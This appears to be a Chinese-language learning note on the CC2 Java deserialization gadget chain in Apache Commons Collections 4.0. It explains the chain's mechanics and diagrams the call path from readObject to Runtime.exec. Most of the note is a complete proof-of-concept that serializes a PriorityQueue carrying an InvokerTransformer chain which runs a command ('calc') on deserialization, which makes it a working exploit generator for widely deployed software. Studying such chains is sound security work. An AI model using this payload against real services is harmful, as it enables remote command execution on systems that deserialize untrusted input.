Apache Commons Collections 2
cc2是在commons-collections 4.0中使用,相比起commons-collections 4.1,在4.0中InvokerTransformer这个类还是实现Serializable所以还可以序列化的。
在cc4中使用TemplatesImpl的动态类加载执行命令,再通过InstantiateTransformer类与TrAXFilter创建命令对象。而在cc2,InvokerTransformer类还可以用,因此可以直接用它链式创建Runtime对象并执行命令。其他部分和cc4一样。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package cc2;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class cc2 { public static void main(String[] args) throws Exception { Transformer[] transformers={ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue( transformingComparator); priorityQueue.add(1); priorityQueue.add(2);
Field transformer = TransformingComparator.class.getDeclaredField("transformer"); transformer.setAccessible(true); transformer.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin")); oos.writeObject(obj); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin")); Object o = ois.readObject();
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ObjectInputStream.readObject() ↓ PriorityQueue.readObject() ↓ PriorityQueue.heapify() ↓ PriorityQueue.siftDown() ↓ PriorityQueue.siftDownUsingComparator() ↓ TransformingComparator.compare(Object a, Object b) ↓ transformer.transform(a) ↓ ChainedTransformer.transform(a) ↓ 依次执行: ① ConstantTransformer(Runtime.class) → 返回 java.lang.Runtime.class ② InvokerTransformer("getMethod", ...) → 反射获取 Runtime.getRuntime 方法对象 ③ InvokerTransformer("invoke", ...) → 调用 getRuntime() 得到 Runtime 实例 ④ InvokerTransformer("exec", ...) → 调用 exec("calc")
|
cc链学习
按照 u,1,6,5,2,3,4顺序